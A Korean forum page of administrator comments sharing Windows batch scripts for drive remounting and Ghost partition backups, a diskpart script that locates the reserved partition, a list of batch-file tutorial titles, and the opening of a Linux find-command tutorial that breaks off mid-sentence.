    =============== remount.exe를 가지고 현 드라브에서 입력드라이브 가 Y드라이브로 변경 하기 ============\r\n@echo off\r\nsetlocal\r\n\r\n:: str 변수 초기화\r\nset str=\r\n\r\n\r\n:REDO\r\ndir\r\nset /p str=현재의 드라브 문자 (예 l) 입력하세요:\r\nif "%str%" == "" goto REDO\r\n\r\n\r\necho 방금 입력하신 문자열은 %str% 입니다.\r\necho 마운트를  %str%: 드라브가 Y:로 변경 됩니다\r\necho 끝내려면 Ctrl + c 하세요\r\npause\r\n\r\nremount %str%: y: -s\r\ny:\r\ncd\\r\ndir\r\necho 끝내려면 아무키 입력 하세요\r\npause

    profile_image

    11q.kr관리자님의 댓글

    11q.kr관리자 쪽지보내기 메일보내기 자기소개 아이디로 검색 전체게시물 아이피 (192.♡.0.1) 작성일

    WIN GHOST 원도우81에서 고스트 자동 백업 후 자동종료\r\n\r\n-------기본하드 정보를 알고 있을때 자동 백업 --------------------------\r\n\r\nbooting영역이 따로 있고 c드라이브에 windows8.1 설치 상태와 e드라이브로 백업\r\n\r\n\r\n\r\n\r\n상기드라이 정보는 ghost > local/patition/to image로 하여 \r\n\r\n1:1은 부팅 영역[drive 1에 1 part]\r\n\r\n1:2는 windows 설치 영역 c드라이브[drive 1에 2 part]을 확인 하여 \r\n\r\nsrc=1:2를 선택 백업 소스 win81설치 영역을 e드라이브에 백업 하기\r\n\r\n---------------------------------------------------------------\r\n\r\nghost32 -clone,mode=pdump,src=1:2,dst=e:\backup.gho -z3 -sure\r\n\r\n----------------------------------------------------------------\r\n\r\n\r\n\r\n\r\n----- 저의 백업 정보 설정 내용 -------\r\n\r\n아래 자동 백업은 첨부 ghost파일을 압축 해제후 \r\n\r\nghost_c_e.cmd 파일을 실행하면 \r\n\r\n원도우 휴지통지우고\r\n\r\n엔터 세번 치면\r\n\r\nboot부분 백업하고\r\n\r\n엔터 세번 치면\r\n\r\nc_win81을  백업\r\n\r\n1분후 자동 off 입니다\r\n\r\n닫기를 누르면 자동off 해제 됩니다\r\n\r\n------------ ghost_c_e.cmd 를 만들어 원도우에서 자동 백업-----------------\r\n\r\nwin_clean은 Windows Update Clean Tool_ko_2013-8-19.zip을 추가 하드 정리 한 것임\r\n\r\n--------------------------------------------------------------------\r\n\r\nwin_clean\r\n\r\necho win_backup starting (Stop : Ctrl + c ..123)\r\n\r\npause\r\n\r\npause\r\n\r\npause\r\n\r\nghost32 -clone,mode=pdump,src=1:1,dst=e:\ghost\c_win81_boot.gho -z3 -sure\r\n\r\npause\r\n\r\npause\r\n\r\npause\r\n\r\nghost32 -clone,mode=pdump,src=1:2,dst=e:\ghost\c_win81_backup.gho -z3 -sure\r\n\r\nshutdown /s /f /t 60\r\n\r\npause\r\n\r\necho 종료 취소\r\n\r\n\r\nshutdown /a\r\n\r\n-------------------------------------------------\r\n저의 홈피 아래 링크 자료 참조 바랍니다\r\nhttps://11q.kr/pc/bbs/board.php?bo_table=s21&wr_id=599

    profile_image

    11q.kr관리자님의 댓글

    11q.kr관리자 쪽지보내기 메일보내기 자기소개 아이디로 검색 전체게시물 아이피 (192.♡.0.1) 작성일

    ① 신고합니다 2014.02.11 08:59 좋은 정보 감사합니다\r\n\r\n\r\n바보고집 2014.02.11 09:41 pause 대신 timeout이나 ping 으로 delay 거는 걸 추천합니다.  gpt에서 파티션이 구조를 동일한 형태로 사용하니 그렇게 만들어도 되겠군요. 파티션 정보는 윈도우에서 백업만 할꺼면 wmic에서 받아 올수 있습니다. bootconfig하고 os로...\r\n\r\n \r\n\r\n그리고 고스트는 드라입명으로 백업이 가능합니다. %systemdrive% 로 @os:%systemdrive% 하시면 윈도우백업됩니다.\r\n\r\n \r\n\r\n예약파티션은 SYSTEM이라는 레이블을 사용하기떄문에 드라이브명이 없기떄문에\r\n\r\nECHO SEL DISK %HDNO% >DRIVE.TXT\r\nECHO LIST VOL >>DRIVE.TXT\r\nDISKPART /S DRIVE.TXT >PAL.TXT\r\nfor /F "tokens=1-5* usebackq SKIP=2" %%a in (`"find /I "SYSTEM" "PAL.TXT""`) do (SET dpo=%%b\r\necho sel disk %HDNO% >SSL.TXT\r\necho sel par %%b >>SSL.TXT\r\nif "%%c" equ "SYSTEM" (echo Assign LETTER=S NOERR >>SSL.TXT)\r\necho sel disk %HDNO% >DSSL.TXT\r\necho sel par %%b >>DSSL.TXT\r\necho REMOVE NOERR >>DSSL.TXT\r\nif "%%c" equ "SYSTEM" ((SET SRDRV=S:)& (SET SRPT=YES) & (SET SRDV=@OS:S:))\r\nif "%%c" neq "SYSTEM" ((SET SRDRV=%%c:) & (SET SRDV=@OS:%%c:) & (SET SRPT=YES))\r\n)\r\n \r\n\r\nDISKPART /S SSL.TXT >DIS.TXT\r\n\r\n\r\n제가 만들어 놓은 고스트용 예약파티션 자동 검색 스크립트입니다.

    profile_image

    11q.kr관리자님의 댓글

    11q.kr관리자 쪽지보내기 메일보내기 자기소개 아이디로 검색 전체게시물 아이피 (192.♡.0.1) 작성일

    배치파일 명령어 모음\r\n \r\n\r\n1.DOS의 CHOICE 명령 대용으로 Y/N 선택 묻기 방법\r\n2.배치파일에서 줄 띄우기; Batch File 빈줄 넣기 방법; empty line \r\n3.CMD 콘솔 색깔 변경하는 명령어; 도스창 명령프롬프트 글자색 바꾸기; DOS Color \r\n4.영어 도스 실행 방법; 영문 DOS 사용하기; Eng \r\n5.현재 위치에서 도스창 열기, 현재 폴더에서 명령프롬프트(CMD) 실행하는 법 \r\n6.BAT 메세지 출력, 배치파일 메시지 프린트 방법; Batch File Message \r\n7.디렉터리가 비어 있지 않습니다, 라는 에러 해결 방법은? The directory is not empty \r\n8.도스 디렉토리 바꾸기 명령, DOS에서 드라이브, 폴더 이동 명령어; Change Directory 사용법 \r\n9.배치파일로 디렉토리 생성 명령어, 폴더 만들기 방법; BAT Make Directory, Folder \r\n10.[배치파일:도스/윈도우] echo 명령 사용법 / echo (에코) 란? \r\n11.윈도우에서 배치파일(Batch File) 실행하기\r\n12.PKZIP 폴더 압축 옵션, 디렉토리까지 압축하기 방법; Folder Directory \r\n13.도스창 CMD 에서 파일명 변경 방법, 파일, 폴더 이름 바꾸기 명령; Rename File \r\n14.도스에서 텍스트 파일 보기 명령어; DOS Text File Viewer \r\n15.BAT 파일 엔터 키 치는 명령은? 배치파일에서 Enter Key 로 빈줄 출력 명령어 \r\n16.Find 파일 속성, 속성으로 파일 찾기 명령어; Find File Attribute \r\n17.배치파일에서 파일 행번호, 줄번호 붙이기; Batch File, Print Line Number \r\n18.BAT 환경변수 사용 방법, 배치파일에서 환경변수; ENV \r\n19.파일에 출력하는 배치 파일 작성법; BAT으로 Text File 만들기 \r\n20.배치파일 함수 구현, BAT에서 GOSUB 문 서브루틴, 고급 BATCH 테크닉 \r\n21.배치파일 문자열 함수는? 스트링 추출 출력 방법; Batch String \r\n22.DOS 명령어 / 모든 도스 명령 목록; MS-DOS Command \r\n23.BAT 실행창, 배치파일 실행하는 창은? Batch Window \r\n24.24비트 32 bit 자동 전환, 구글어스 실행 배치파일; Google Earth BAT \r\n25.숫자 무작위 생성; 윈도우 도스창에서; DOS 랜덤 Random \r\n26.메모장으로 BAT 파일 만들기, 배치파일 작성하기; Windows Notepad Batch File \r\n27.BAK 파일 삭제 배치 파일; 백업파일 지우기 BAT \r\n28.배치파일 만들기 기초; BAT 파일 작성법 \r\n29.DOS / Windows Batch 파일의 주석 처리 방법; 주석문 Remarks \r\n30.도스 TREE 명령어 파일로 저장하기, DOS 명령 결과, 텍스트파일로 저장하는 법 \r\n31.배치파일에서 return 구현 방법; BAT 리턴 반환 C언어처럼 \r\n32.도스 DOS 명령, 파일 속성 바꾸기 명령어; File Attribute ATTRIB \r\n33.배치파일 에디터로 좋은 것은? BAT File 편집기 Editor 종류 \r\n34.chkdsk 하는 법; 체크디스크 명령으로 하드 검사 하는법 \r\n35.chkdsk /F 옵션으로, 부팅 때 하드 디스크 검사하는 배치 파일 - Batch \r\n36.모든 하드디스크(HDD)를 한꺼번에 검사하는 배치(Batch) 파일 \r\n37.다른 배치 파일로 GOTO 명령; 다른 파일 라벨로 이동 BAT \r\n38.배치파일에서 시스템경로 구하기; 패스 환경변수 Path Batch File \r\n39.배치 파일에서, 숫자 계산하기, set 명령으로 더하기 빼기; Batch File Calc \r\n40.배치파일 무한루프 구현, 루프 탈출, 빠져 나오기 예제; Batch File Infinity Loop \r\n41.파일 개수 세기 도스 명령어; File Counter DOS Command \r\n42.배치파일 BAT] 현재 년월일 시분초 구하기, 한국식 시간 문자열; YYYY-MM-DD hh:mm:ss \r\n43.현재 시간으로 된 파일명 만들기 BAT 배치 파일; Time To File Name \r\n44.XCOPY.EXE 프로그램/명령어 다운로드(Download) 받는 곳은? : 크로스 카피/엑스 카피 \r\n45.오늘 날짜로 된 디렉토리명, 폴더명 만들기 BAT 배치 파일; Date To Directory Name \r\n46.CMD 아스키 코드표 보기; 도스창에서 아스키코드(ASCII Code) 출력하는 법, 명령 \r\n47.날짜 BAT, 현재 시간 출력 배치파일; Batch File \r\n48.윈도우용 wget.exe 사용법; 명령행 다운로드 프로그램; wget Command for MS-Windows \r\n49.도스(DOS)용 RAR 로 압축하기, 파일 압축 풀기; 텍스트 모드 압축 \r\n50.도스용 윈집(WinZip) 실행 배치 파일; DOS WZZIP-WZUNZIP Batch File \r\n51.도스(DOS)에서, ZIP 파일 압축하기, 압축 풀기 프로그램, 옵션; Add Extract Zip File \r\n52.도스용 ZIP 프로그램; DOS윈집 다운로드,사용법; WinZip Command Line Support Add-On \r\n53.배치 파일 실행 결과 보기 명령어; Batch File Result View Command \r\n54.[배치 파일] 여러 파일 이름 한꺼번에 바꾸기; 파일명 일괄 변경; Batch File Rename \r\n55.배치 파일 안에서, EXE 파일 실행 법; Batch File에서 실행파일 호출 \r\n56.CMD 확장자 파일 만들기, CMD.EXE로, 파일(File) 만들기/저장(Save)하기\r\n57.[QnA] 2개 이상의 도스 명령어를 한꺼번에 실행하는 법은? \r\n58.배치 파일에서, PC스피커로, 비프음(Beep; 삑 하는 소리) 내기 \r\n59.배치 파일의 옵션을 해석하여 조건문 만들기 예제: 도움말(Help) 옵션 넣기 \r\n60.도스(DOS, CMD)창, 영문 Code Page (코드 페이지)로 변경하는 명령어: CHCP \r\n61.RAR 도스 창(DOS)/명령프롬프트/텍스트 모드; WinRAR(윈라) 콘솔 버전; RAR.EXE \r\n62.엔터 키/줄바꿈/개행문자 넣기; Batch File Enter Key \r\n63.도스(DOS)에서, Program Files 폴더 지정/입력하는 법은? \r\n64.[윈도우] 시스템 파일 복사하는 명령어. 히든파일 카피 명령; Copy Command, System Hidden File \r\n65.도스(DOS)에서, 연월일(년월일)/시분초, 현재 날짜 구하기; get Date Time \r\n66.도스로 빠져 나가기, 윈도우에서 도스로; How To Exit To DOS \r\n67.[배치파일] 랜덤 숫자 발생, 1~10 난수 생성; Random Number Batch File \r\n68.[배치파일] 요일 출력, 오늘 현재 요일만 구하기; Get DAY OF THE WEEK String \r\n69.[배치파일] 요일 삭제, 날짜 문자열에서 요일 지우기; Remove DAY OF THE WEEK from Date String \r\n70.[배치파일/Batch File] args / argc, argv 파라미터(인수; 매개변수) 사용 방법; DOS BAT \r\n71.도스박스/도스창 전체 화면 모드 핫키; DOSBox, DOS Full-Screen Hot Key \r\n72.배치파일 텍스트 출력 방법. 글자,문자열 쓰기, 프린트 함수; Batch File Print String \r\n73.배치파일 예약어, 키워드 목록; Batch File Keyword List \r\n74.현재 디렉토리 환경변수, Current Directory (CWD) Environment Variable \r\n75.윈도우 SORT 명령, 숫자 크기순 정렬(소팅) 문제 해결, Perl(펄)로 \r\n76.환경변수 저장 하는 법; 윈도우2000 / XP 환경 변수 저장법; Set Environment Variable \r\n77.윈도우에서 파이썬(python.exe) 실행 배치파일; PYTHON.BAT \r\n78.탐색기 폴더에서, 도스창 실행 레지스트리: '여기에 명령 프롬프트' Command Line Here Registry \r\n79.[윈도우] 텍스트 파일 합치기 명령어; Text File (.TXT) 문서 병합 방법; TXT Merge DOS \r\n80.[배치파일] 윈도우 환경변수를 echo 로 출력 하는 법; PRINT Environment Variable DOS \r\n81.[배치파일] %1 %2 %3 퍼센트 일,이,삼 기호의 의미; DOS BAT Argument \r\n82.도스용 V3.EXE 실행 배치파일; 도스창에서 백신III 실행 DOS BAT \r\n83.윈도우] BAT 파일 실행 하는 법; MS-DOS 배치 파일 실행법 \r\n84.IF ELSE 문 사용법 예제; 도스 BAT 강좌 \r\n85.배치파일(.BAT) IF 조건문 사용법 기초 강좌; DOS Batch File IF \r\n86.Java/자바] 소스 컴파일 + 실행하기, 자동 배치파일(BAT) \r\n87.배치파일(.BAT)로, 파일 출력, 텍스트 파일(Text File) 만드는 방법 \r\n88.[배치파일] 옵션 문자열 얻기, 실행시 매개변수 활용 DOS-NT Batch File Option \r\n89.[배치파일] 사용자 문자열 입력받기, 입력을 변수에 저장: DOS-NT Batch File Input String \r\n90.[DOS/도스창/배치파일] 파일 복사 명령어 사용법: File Copy Command \r\n91.[도스 도스창] 텍스트 파일 읽기 명령어, 보기 명령; DOS Text File View Command \r\n92.윈도우 환경변수 복사하여 파일로 저장/만들기: Windows Environment Variable To File \r\n93.배치파일, 도스(DOS)에서 파일 삭제, 디렉토리 지우기 명령어; Delete File \r\n94.[배치 파일] 변수에 현재 시간/날짜 넣기; 날짜/시간 출력, DATE TIME DOS BATCH \r\n95.이진파일을 텍스트파일로 변환, 바이너리를 아스키로, Convert Binary File to Text File \r\n96.도스/도스창(cmd.exe)용 실행파일/명령어 만드는, 언어/프로그램은? Creating New Commands \r\n97.반복되는 명령 실행: 윈도우 도스창 / 리눅스 - Repeat Commands \r\n98.하위 디렉토리까지 복사, Copy 디렉토리: XCOPY, DOS 배치 파일 \r\n99.파일 찾기 명령, 도스창에서 디렉토리 찾기, File Find Command \r\n100.경로(Path) 알아내기/ 패스 문자열 얻어 오기: DOS 배치 파일 \r\n101.현재 폴더, 현재 디렉토리 의미하는 특수 문자] DOS Batch File, Current Directory \r\n102.도스 화면에, 글자 출력(프린트) 명령어는? - DOS Bat Print String \r\n103.FOR문으로, 텍스트 파일 행 처리 - 도스 DOS Bat File 강좌 \r\n104.FOR 문 예제. for in do 사용법 - 도스 DOS Bat File 강좌 \r\n105.도스창 닫기 명령 / 명령프롬프트창 종료 명령어 - .BAT DOS Batch File \r\n106.윈도우 도스창에서 정규식 사용법 - Windows XP regex FINDSTR \r\n107.SORT 명령 사용법, 문자열/텍스트파일 정렬(소팅)하기 - Windows XP \r\n108.배치파일] 탈출코드(에러레벨;반환값) 강제로 설정하기 - ERRORLEVEL, Exit Code, Batch File \r\n109.[QnA] 도스창에서, 파일 이름의 빈 칸은 어떻게 입력합니까? - LFN, Long File Name \r\n110.도스창 실행 / 도스 프롬프트 있는 곳 - Windows DOS Prompt \r\n111.BAT파일 안에서, 다른 BAT파일 실행/호출 - Batch File - 일괄 파일 \r\n112.기존의 패스(Path) 환경변수에, 새 경로(디렉토리; 폴더) 추가하는 법 \r\n113.도스창(명령프롬프트창) 제목줄(타이틀) 변경하는 도스 명령 - TITLE \r\n114.배치파일에서, 문자열 비교 판단 / 문자열이 동일한지 다른지 - Compare Strings in Batch File \r\n115.도스(DOS) 배치파일 명령어 목록 \r\n116.도스 화면, 잠시 정지시키는 키는? 도스창 스크롤 일시 중지시키는 키는? - DOS Pause Break Key \r\n117.디스크 라벨(볼륨 레이블) 변경하는 법 - LABEL - VOL \r\n118.'환경변수'란 무엇인가요? 환경변수 변경/추가/삭제하는 법은? - Environment Variable \r\n119.화면 출력 일시 정지시키는 명령어는? 도스창(윈도우 명령프롬프트)/배치파일에서 - pause \r\n120.화면 글자 모두 지우는 명령어는? 도스창(윈도 명령프롬프트)/배치파일에서 - cls \r\n121.도스 명령에서, 백슬래쉬(\, ₩)와 슬래쉬(/) 차이점은? - 리눅스에서는? - Back Slash [QnA] \r\n122.[grep.exe] 유닉스/리눅스의 grep 을 윈도우에서 사용하기: 문자열 찾기 \r\n123.도스창 한글/영문으로 변경 방법: 명령 프롬프트 코드 페이지 전환 - CHCP, Code Page \r\n124.배치 파일에서의 변수 사용 [배치 파일 작성법] - DOS Batch Variable \r\n125.배치파일 종료시 변수 자동으로 지우기, 변수 충돌 방지, 변수 지역화: SETLOCAL / ENDLOCAL \r\n126.[배치 파일] 윈도의 .cmd 확장자를 가진 파일에 대해 \r\n127.[배치 파일 팁] echo문 행갈이 / 빈 줄 넣기/ 한 줄 띄어쓰기: Batch File Tip \r\n128.[윈도우2000/XP] 탭(Tab)키로, 파일명 자동완성 - 명령 프롬프트 - File/Directory Name Auto-Completion \r\n129.[배치 파일] '컴퓨터 이름' 알아내기 / 출력하기: Get Computer Name \r\n130.윈도우 XP에서, 도스로 가려면? 도스창이 있는 곳은? [QnA] \r\n131.[윈도우용 grep] find 보다 더 강력한 findstr 명령 \r\n132.[윈도우] 공백이 들어간 폴더명/파일명의 파일 실행하기 - Windows \r\n133.배치 파일(Batch File), 주석문/주석 처리 방법; 코멘트,설명 문 달기; Comment \r\n134.[배치 파일] 프로그램 실행의 성공 여부를 Error Level 로 확인/판단하기: ERRORLEVEL \r\n135.[리눅스/Cygwin] 프로그램 실행이 안돼요. 배치 파일(Batch File) 실행법은? \r\n136.[QnA] 도스창이 그냥 닫혀 버립니다. 안 닫히게 하는 법은? pause 명령으로, 화면 정시키기 \r\n137.도스창 화면 저장 / 명령프롬프트(콘솔 창) 결과를 파일로 저장하는 방법 \r\n138.command.com / cmd.exe 에 내장되어 있지 않아 별도의 파일이 있어야 실행되는 명령어는? \r\n139.[배치파일 강좌] 배치파일 만드는 법 / .BAT 파일; 일괄 파일(Batch File)이란? \r\n140.[배치파일 강좌] GOTO 명령 / 라벨(레이블; Label)에 대해서 \r\n141.윈도우 도스창에서의, 파일 비교 명령은? ; 텍스트 파일 / 이진 파일 비교 \r\n142.도스(DOS) 환경변수 보기 [컴퓨터 초보자를 위한 강좌] \r\n143.echo 명령에서, 쌍따옴표, 꺾은 괄호(부등호) 등 특수문자 표현하기 \r\n144.배치 파일 (Batch File) 실행시에, 인수(파라미터; 옵션; 매개변수) 주기 \r\n145.도스(DOS)/윈도우의, 배치 파일에서 echo off 란? \r\n146.모든 '도스 명령' 목록 보기, 윈도우2000 윈도우XP 에서 \r\n147.자신의 IP주소(아이피 주소; IP Address) 손쉽게 알아보기 \r\n =======\r\n출처\r\nhttp://user.chollian.net/~pd007/readme/int/batch.htm

    profile_image

    11q.kr관리자님의 댓글

    11q.kr관리자 쪽지보내기 메일보내기 자기소개 아이디로 검색 전체게시물 아이피 (192.♡.0.1) 작성일

    FIND 명령어 사용법\r\n 2014/02/26 22:44 \r\n\r\n\r\nPosted in 개발/Linux by yaku\r\n\r\n\r\n\r\n  \r\nFONT  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n      \r\n\r\n\r\n파일명 찾기 \r\n # find / -name 파일명 -type f\r\n\r\n \r\n\r\n파일명 찾기(대소문자 구별없음) \r\n # find / -iname 파일명 -type f\r\n\r\n \r\n\r\n디렉토리 찾기 \r\n # find / -name 파일명 -type d\r\n\r\n \r\n\r\n디렉토리 찾기(대소문자 구별없음) \r\n # find / -iname 파일명 -type d\r\n\r\n \r\n\r\n \r\n\r\n1. 루트 디렉토리부터 확장자가 txt인 파일을 찾아서 화면에 파일 이름 출력\r\n\r\n # find / -name *.txt\r\n\r\n \r\n\r\n2. 위의 명령에서 현재 디렉토리와 한 단계 아래의 디렉토리에서만 파일을 찾을 경우\r\n\r\n # find . -maxdepth 2 -name *.txt\r\n\r\n \r\n\r\n \r\n\r\n----------------------------------------------------------------------------------------\r\n\r\n \r\n\r\n팁] find + xargs + ls 명령어 몇가지 활용\r\n\r\n작성자 : 김칠봉 \r\n작성일 : 2001.03.12\r\n\r\n목차 \r\n1. 가장 일반적인 find 명령어\r\n\r\n2. find 명령어 일반적인 옵션 \r\n2-1. 사용법 개요 \r\n2-2. 일반적으로 표현식 옵션 구분 \r\n3-3. 자주 사용되는 표현식 옵션 \r\n3-4. path(find 명령어 다음의 path) \r\n3-5. 표현식-연산자\r\n\r\n3. 예제 \r\n3-1. 다른 명령어와 결합형태(ls,xargs) \r\n3-2. 퍼미션 관련 예제 \r\n3-3. 유저와 관련된 예제 \r\n3-4. 팁 \r\n- 최근 하루(1) 동안(-)에 변경(change)된 파일을 찾을려면(-ctime)? \r\n- 오래된 파일을 찾을려면(30일 이상 수정(modify))되지 않은)? \r\n- 최근 30일(30) 안에(-) 접근(access)하지 않은 파일과 디렉토리를 리스트로 만들려면(-atime)? \r\n- 자신의 홈디렉토리에서 만 검색하려면? \r\n- 서브 디렉토리로 내려가지 않고 현재 디렉토리에서만 검색하려면? \r\n- 특정 유저(foobar) 소유의 파일을 찾을려면? \r\n- 퍼미션이 777인 파일을 찾을려면 ? \r\n- others에게 쓰기 권한이 있는 파일을 찾을려면? \r\n- others에게 쓰기 권한이 있는 파일을 찾아 쓰기 권한을 없애려면? \r\n- 유저이름과 그룹이름이 없는 파일을 찾을려면? \r\n- 빈 파일을 찾을려면? \r\n- 파일크기가 100M 이상된 파일을 찾을려면? \r\n- *.bak 파일을 찾아 지울려면? \r\n- *.bak 파일을 찾아 특정 디렉토리로 옮길려면? \r\n- 디렉토리 만 찾을려면? \r\n- root권한으로 실행되는 파일을 찾을려면? \r\n- 다른 파일시스템을 검색하지 않을려면? \r\n- 파일이름에 공백이 들어간 파일을 찾을려면? \r\n- 숨겨진(hidden) 파일을 찾을려면? \r\n- 같은 이름을 가진 디렉토리를 찾을려면? \r\n- 잘못된 링크를 찾을려면?\r\n\r\n4. find 명령어에 대해서 좀더 알아보려면?\r\n\r\n------------------------------------------------------------\r\n\r\n1. 가장 일반적인 find 명령어\r\n\r\n# find /path -name "foobar" -print\r\n\r\n제일 먼저(?) 배우는 형식이 아닌가 쉽군요.\r\n\r\n\r\n2. find 명령어 일반적인 옵션\r\n\r\n2-1. 사용법 개요\r\n\r\nfind 명령어 사용법 보기 :\r\n\r\n# find --help \r\n# man find (직접 입력해 보세요. 내용이 너무 많아서..)\r\n\r\n사용법 : find [path...] [expression] \r\n기본값 : default path는 현재 디렉토리; default expression은 -print\r\n\r\n표현식(expression) 구성 : \r\noperators (decreasing precedence; -and is implicit where no others are given): \r\n( EXPR ) ! EXPR -not EXPR EXPR1 -a EXPR2 EXPR1 -and EXPR2 \r\nEXPR1 -o EXPR2 EXPR1 -or EXPR2 EXPR1 , EXPR2 \r\noptions (always true): -daystart -depth -follow --help \r\n-maxdepth LEVELS -mindepth LEVELS -mount -noleaf --version -xdev \r\ntests (N can be +N or -N or N): \r\n-amin N -anewer FILE -atime N -cmin N \r\n-cnewer FILE -ctime N -empty -false -fstype TYPE -gid N -group NAME \r\n-ilname PATTERN -iname PATTERN -inum N -ipath PATTERN -iregex PATTERN \r\n-links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE \r\n-nouser -nogroup -path PATTERN -perm [+-]MODE -regex PATTERN \r\n-size N[bckw] -true -type [bcdpfls] -uid N -used N -user NAME \r\n-xtype [bcdpfls] \r\nactions: \r\n-exec COMMAND ; -fprint FILE -fprint0 FILE -fprintf FILE FORMAT \r\n-ok COMMAND ; -print -print0 -printf FORMAT -prune -ls\r\n\r\n간단하게 몇가지만 알아보죠... \r\n(자세한 사용설명은 꼭 man 페이지를 읽어보세요....한글은 없군요..T.T)\r\n\r\n\r\n2-2. 일반적으로 표현식 옵션 구분\r\n\r\n-a'xxxx' \r\n'xxxx'에 대한 Access(접근) \r\n-c'xxxx' \r\n'xxxx'에 대한 Changes(변경), 마지막으로 Access한 경우 변경됨 \r\n-m'xxxx' \r\n'xxxx'에 대한 Modify(수정), 파일내용 자체 수정한 경우 \r\n-i'xxxx' \r\n'xxxx'(inum 제외)에 대한 Insensitive(대소문자 구분없이)\r\n\r\n3-3. 자주 사용되는 표현식 옵션\r\n\r\nN \r\n정확하게 N과 일치 \r\n+N \r\nN 보다 큰 경우 \r\n-N \r\nN 보다 작은 경우 \r\n-name PATTERN \r\nPATTERN에 일치하는 파일 찾기, 와일드카드 문자 사용가능 \r\n-iname PATTERN \r\nPATTERN에 일치하지 않은(insensitive) 파일 찾기 \r\n-perm [+-]mode \r\nPERMission('mode')에 해당되는 파일 찾기, ls와 결합 가능 \r\n-type [bcdpfls] \r\nb(블럭파일(블럭 디바이스 파일 - 오리 -)), c(특정 문자(문자 디바이스 파일 - 오리 - ) ), d(디렉토리), p(파이프), f(정규표현 일반파일), l(링크), s(소켓) 유형의 파일 찾기\r\n\r\n* UNIX/LINUX에서는 어떤 디바이스나 I/O에 대한 입출력 Interface를 화일 입출력과 동일하게 처리한다. 블럭(512byte나 1024byte등의 일정 크기 단위)단위로 읽기/쓰기가 가능한 디바이스를 블럭 디바이스라 하고, byte(character) 단위로 읽기/쓰기가 가능한 디바이스를 문자( character) 디바이스라 한다. - 오리 -\r\n-size N[bckw] \r\n파일 크기가 N 인 파일 찾기 \r\nb(블럭-기본값, 보통 512byte), c(bytes), k(kbytes), w(2바이트 단어) \r\n  * -size 0 : size가 0인 화일\r\n\r\n  * -size 1 : size가 1~512인 화일\r\n\r\n  * -size 2 : size가 513~1024인 화일\r\n\r\n  * -size -2 : size가 512 이하인 화일\r\n\r\n  * -size +2 : size가 1025 이상인 화일 -user NAME \r\nNAME은 유저이름이거나 UID \r\n-atime N \r\nN*24 시간 동안에 Access 한 파일\r\n\r\n  * -atime 0 : 0 <= time < 24\r\n\r\n  * -atime 1 : 24 <= time < 48\r\n\r\n  * -atime 2 : 48 <= time <72\r\n\r\n  * -atme -2 : time < 48\r\n\r\n  * -atme +2 : time >= 72\r\n\r\n-ctime N \r\nN*24 시간 동안에 Changes 한 파일(내용수정이 아니고 읽기모드도 Changes됨) \r\n-mtime N \r\nN*24 시간 동안에 Modify 한 파일 \r\n-empty \r\n파일이 비어 있고(0 bytes), 정규식 파일이거나 디렉토리 \r\n-newer FILE \r\nFILE 보다 최근에 갱신된 파일 \r\n-path PATTERN \r\npath가 PATTERN과 일치하는 path에 대해서 검색 \r\n-regex PATTERN \r\n파일이름이 PATTERN에 일치하는 정규식에 대해서 검색 \r\n-inum N \r\ninode N을 갖는 파일 \r\n-nouser,-nogroup \r\nUSER나 GROUP에 이름이 없는 파일 검색(UID,GID만 있는 파일) \r\n-exec COMMAND \r\n검색된 파일을 찾으면 COMMAND 명령을 실행한다. \r\nCOMMAND 인자(검색된 파일)는 {}으로 사용하며, \r\n이때 COMMAND 끝은 ;(;이 아님)을 사용해야 한다. 즉 명령구분 \r\n문자인 ';'을 탈출()시켜줘야 한다. \r\n-ok COMMAND \r\n-exec COMMAND와 같지만 COMMAND를 실행하기 전에 확인을 요청한다.\r\n\r\n3-4. path(find 명령어 다음의 path) \r\n. \r\n현재 디렉토리(기본값이므로 생략해도 됨) \r\n`pwd` \r\n현재 디렉토리와 결합(?) `은 ~문자가 있는 자판 \r\n$(pwd) \r\n위의 `pwd`와 같거나 비슷함 \r\n/ \r\n최상위 루트 디렉토리에서 하위 모든 디렉토리 \r\n/home \r\n특정 /home 디렉토리에서 하위 모든 디렉토리 \r\n/{usr,home/{aaa,san2},var} \r\n/usr, /usr/home/aaa /usr/home/san2 /var\r\n\r\n3-5. 표현식-연산자\r\n\r\n( 표현식 ) \r\n'표현식'을 우선적으로 먼저 수행 \r\n(와 )앞에 를 넣어야 하며, '표현식'과 공백을 각각 둔다. \r\n( A + B ) * ( C + D ) 와 같이 (, )안을 우선적으로 수행 \r\n! 표현식 , -not 표현식 \r\n'표현식'을 부정 \r\n표현식1 -a 표현식2, 표현식1 -and 표현식2 \r\n표현식1과 표현식2의 AND 연산 \r\n표현식1 -o 표현식2, 표현식1 -or 표현식2 \r\n표현식1과 표현식2의 OR 연산\r\n\r\n\r\n3. 예제\r\n\r\n3-1. 다른 명령어와 결합 형태(ls,xargs)\r\n\r\n찾는 것 그 차체 만으로 만족(?) 할 수 도 있지만 그 결과에 대해서 \r\n어떤 행동(Actions)을 취할 필요가 있습니다.\r\n\r\n형태1. -exec 이용시\r\n\r\n# find ..... -exec COMMAND {} \;\r\n\r\n형태2. xargs 명령어로 표준 입력받아 COMMAND 수행\r\n\r\n# find ..... | xargs COMMAND\r\n\r\n형태3. ls 명령어로 최종 결과 출력\r\n\r\n# ls -l `find .....[COMMAND]` \r\n또는 \r\n# find .... ls \r\n(ls는 ls -dils와 같음)\r\n\r\nxargs \r\nxargs rpm 정보보기 \r\n# rpm -qi `rpm -qf $(which xargs)` \r\n또는 \r\n# rpm -qf `which xargs` | xargs rpm -qi\r\n\r\n즉, find 결과에 대해서,\r\n\r\n형태1은 -exec를 사용하여 그 인자를 {}로 사용하고,\r\n\r\n형태2는 xargs 명령어로 find에서 넘어온 결과(표준출력)에 대해서 COMMAND를 실행하고,\r\n\r\n형태3은 오른쪽의 find 결과물에 대해서 ls 명령어를 실행합니다. \r\n간혹 '/bin/ls Argument list too long'이라는 에러를 낸 경우도 있습니다. \r\n이는 검색조건에 너무 많은 와일드카드 문자로 찾을 경우에 그렇습니다. \r\n이를 테면 /*/*/*.*/.*,\r\n\r\n`은 ~문자가 있는 자판(역인용부호).\r\n\r\nls -l 명령어를 사용할 경우, 찾는 결과가 없다면 모두 출력됩니다. \r\n(ls -l와 같기 때문에) \r\nls 명령어와 마찬가지로 다른 명령어(chmod, chmod)를 결합하여 사용할 경우 그 찾는 